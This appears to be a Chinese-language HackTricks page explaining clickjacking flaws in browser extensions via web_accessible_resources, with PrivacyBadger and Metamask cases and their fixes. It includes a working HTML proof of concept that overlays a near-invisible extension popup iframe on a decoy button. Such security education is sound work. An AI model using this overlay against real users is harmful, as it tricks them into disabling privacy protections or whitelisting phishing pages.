BrowExt - ClickJacking

支持 HackTricks

基本信息

本页面将利用浏览器扩展中的 ClickJacking 漏洞。 如果你不知道 ClickJacking 是什么,请查看:

Clickjacking

扩展包含文件 manifest.json,该 JSON 文件有一个字段 web_accessible_resources。以下是 Chrome 文档 对此的说明:

这些资源将通过 URL chrome-extension://[PACKAGE ID]/[PATH] 在网页中可用,可以通过 extension.getURL method 生成。允许的资源会带有适当的 CORS 头,因此可以通过 XHR 等机制访问。1

浏览器扩展中的 web_accessible_resources 不仅可以通过网络访问;它们还具有扩展的固有权限。这意味着它们能够:

  • 更改扩展的状态

  • 加载额外的资源

  • 在一定程度上与浏览器交互

然而,这一特性带来了安全风险。如果 web_accessible_resources 中的某个资源具有任何重要功能,攻击者可能会将该资源嵌入到外部网页中。毫不知情的用户访问此页面时,可能会无意中激活此嵌入的资源。这种激活可能会导致意想不到的后果,具体取决于扩展资源的权限和能力。

PrivacyBadger 示例

在扩展 PrivacyBadger 中,发现了一个与 skin/ 目录被声明为 web_accessible_resources 相关的漏洞,具体如下(查看原始 博客文章):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

此配置导致了潜在的安全问题。具体来说,skin/popup.html 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可以嵌入在 iframe 中。此嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在 https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm 提供的 ClickJacking 视频示例中查看。

为了解决此漏洞,实施了一个简单的解决方案:从 web_accessible_resources 列表中移除 /skin/*。此更改有效地降低了风险,确保 skin/ 目录的内容无法通过网络可访问资源进行访问或操控。

修复很简单:web_accessible_resources 中移除 /skin/*

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask 示例

一个关于 Metamask 中 ClickJacking 的 博客文章可以在这里找到。在这种情况下,Metamask 通过检查访问所使用的协议是否为 https:http:(而不是 chrome: 例如)来修复该漏洞:

在 Metamask 扩展中修复的另一个 ClickJacking 是用户能够在页面被怀疑为钓鱼时 点击白名单,因为 “web_accessible_resources”: [“inpage.js”, “phishing.html”]。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常的内容,使受害者在未注意的情况下点击以将其列入白名单,然后返回到将被列入白名单的钓鱼页面。

Steam Inventory Helper 示例

查看以下页面以检查浏览器扩展中的 XSS 如何与 ClickJacking 漏洞链式结合:

BrowExt - XSS Example

参考文献

支持 HackTricks

Last updated